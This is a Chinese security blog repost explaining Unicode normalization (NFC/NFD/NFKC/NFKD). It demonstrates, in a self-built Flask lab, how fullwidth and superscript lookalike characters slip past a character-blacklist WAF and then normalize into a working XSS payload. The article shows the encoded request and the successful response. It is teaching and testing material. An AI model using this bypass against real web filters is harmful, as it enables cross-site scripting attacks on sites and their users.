专栏首页鸿鹄实验室使用Unicode绕过waf

使用Unicode绕过waf

点击上方“蓝字”带你去看小星星

逛博客看到的一篇文章,分享给大家。

认识Unicode,Unicode的规范如下图所示:

  • NFC: Normalization Form Canonical Composition
  • NFD: Normalization Form Canonical Decomposition
  • NFKC: Normalization Form Compatibility Composition
  • NFKD: Normalization Form Compatibility Decomposition

我们可以用下面的代码进行实验:

import unicodedata
string = "?ⅇ??ⅈ????"
print ('NFC: ' + unicodedata.normalize('NFC', string))
print ('NFD: ' + unicodedata.normalize('NFD', string))
print ('NFKC: ' + unicodedata.normalize('NFKC', string))
print ('NFKD: ' + unicodedata.normalize('NFKD', string))

输出如下:

NFC: ?ⅇ??ⅈ????
NFD: ?ⅇ??ⅈ????
NFKC: Leonishan
NFKD: Leonishan

我们可以看到同样的字符在不同的规范下的差异。

我们来构造一个实验环境:

from flask import Flask, abort, request
import unicodedata
from waf import waf

app = Flask(__name__)


@app.route('/')
def Welcome_name():
  name = request.args.get('name')


  if waf(name):
    abort(403, description="XSS Detected")
  else:
    name = unicodedata.normalize('NFKD', name) #NFC, NFKC, NFD, and NFKD
    return 'Test XSS: ' + name

if __name__ == '__main__':
  app.run(port=81)

WAF:

def waf(input):
    print(input)
    blacklist = ["~","!","@","#","$","%","^","&","*","(",")","_","_","+","=","{","}","]","[","|","\",",".","/","?",";",":",""",""","<",">"]
    vuln_detected = False
    if any(string in input for string in blacklist): 
        vuln_detected = True
    return vuln_detected

此时我们比如构造最基本的请求:

(<img src=p onerror='prompt(1)'>)

它的响应如下:

HTTP/1.0 403 FORBIDDEN
Content-Type: text/html
Content-Length: 124
Server: Werkzeug/0.16.0 Python/3.8.1
Date: Wed, 19 Feb 2020 11:11:58 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>403 Forbidden</title>
<h1>Forbidden</h1>
<p>XSS Detected</p>

但是因为我们规范的不同,导致了一下绕过的存在:

name = unicodedata.normalize('NFKD', name)

构造下面的请求:

<img src⁼p onerror⁼'prompt⁽1⁾'﹥

GET /?name=%EF%BC%9Cimg%20src%E2%81%BCp%20onerror%E2%81%BC%EF%BC%87prompt%E2%81%BD1%E2%81%BE%EF%BC%87%EF%B9%A5

响应如下:

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 41

Test XSS: <img src=p onerror='prompt(1)'>

成功bypass:

类似的作用还有很多:

原文链接:https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html

本文分享自微信公众号 - 鸿鹄实验室(gh_a2210090ba3f),作者:鸿鹄实验室

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-03-09

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • BUG赏金 | Unicode与WAF—XSS WAF绕过

    通过标题,您可能会知道这是有关使用UNICODE进行 XSS WAF绕过的文章。因此,让我们给你一个关于我正在测试的应用程序的小想法。有一个名为“以后保存” 的...

    Timeline Sec
  • 那些可以绕过WAF的各种特性

    在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF层等,以便我们更灵活地去构造Payload,从而可以和各种WAF进行对抗,甚至绕过安全防御...

    Bypass
  • Java中神奇的Unicode换行符(\u000d)

    这个技巧之前感觉挺有意思,只是没能实际应用起来,但是在最近四月份的大hvv中使用了一次,同事使用这个技巧绕过了waf的内容检测,感觉这个技巧终于有了作用,特记录...

    潇湘信安
  • 浅谈WAF绕过技巧

    waf分类 掌握绕过各类WAF可以说是渗透测试人员的一项基本技能,本文将WAF分为云WAF、硬件WAF、软件WAF、代码级WAF,分别从各自的特性来谈一些相关的...

    FB客服
  • 深入理解SQL注入绕过WAF和过滤机制

    促使本文产生最初的动机是前些天在做测试时一些攻击向量被WAF挡掉了,而且遇到异常输入直接发生重定向。之前对WAF并不太了解,因此趁此机会科普一下并查阅了一些绕过...

    tnt阿信
  • 关于WAF的那些事

    首先WAF(Web Application Firewall),俗称Web应用防火墙,主要的目的实际上是用来过滤不正常或者恶意请求包,以及为服务器打上临时补丁的...

    C4rpeDime
  • sqlmap tamper脚本编写

    上次HCTF中Li4n0师傅出了一道Kzone,非预期解可以利用Unicode编码关键字bypass掉WAF,发现如果手动编写sqlmap中的tamper脚本能...

    安恒网络空间安全讲武堂
  • 我的wafBypass之道

    去年到现在就一直有人希望我出一篇关于waf绕过的文章,我觉得这种老生常谈的话题也没什么可写的。

    用户1467662
  • 旁路WAF:使用Burp插件绕过一些WAF设备

    ? 我曾经写了一篇关于Burp插件使用的技术的博文在这里。许多WAF设备可以被伪造的请求欺骗,这些伪造的会被认为是自身正常的请求来处理,因为如果被判断有特定的...

    用户1467662
  • XSS Akami Waf绕过

    使用HTTP参数污染和Double Url编码在重定向参数中反映的XSS Akami Waf绕行:

    Khan安全团队
  • 利用Cookie注入 绕过WAF

    cookie注入的原理在于更改本地的cookie,从而利用cookie来提交非法语句。

    C4rpeDime
  • Bypass 护卫神SQL注入防御(多姿势)

       护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能。

    Bypass
  • 目录遍历漏洞备忘录

    路径或目录遍历漏洞指的是利用对用户输入检测性不足,而导致“可遍历到父目录”的字符串被传递到api中。

    7089bAt@PowerLi
  • 绕过软WAF攻略

    现在软waf较为多,就在今年夏天苦逼挖洞的日子里经常遇到360主机卫士,安全狗,云锁之类的软waf进行拦截,经常碰到如下拦截提示: ? ? ? 看到以上...

    奶糖味的代言
  • 绕过WAF防火墙?

    现实中的Web服务,可能潜伏各种Bug漏洞,即便积极的定期进行Web扫描,也不保证万无一失,基于这种原因,应运而生了Web防火墙WAF,最常见的是在基于代理模式...

    糖果
  • 分析绕过一款适合练手的云 WAF

    X-WAF 是一款适用中、小企业的云 WAF 系统,让中、小企业也可以非常方便地拥有自己的免费云 WAF。

    信安之路
  • Bypass 360主机卫士SQL注入防御(多姿势)

    在服务器客户端领域,曾经出现过一款 360 主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影。

    信安之路
  • WAF的介绍与WAF绕过原理

    WAF 是什么?全称 Web Application Firewall (WEB 应用防护系统),与传统的 Firewall (防火墙) 不同,WAF 针对的是...

    天钧
  • Bypass 360主机卫士SQL注入防御(多姿势)

    在服务器客户端领域,曾经出现过一款360主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影。从半年前的测试虚拟机里面,翻出了36...

    Bypass

扫码关注云+社区

领取腾讯云代金券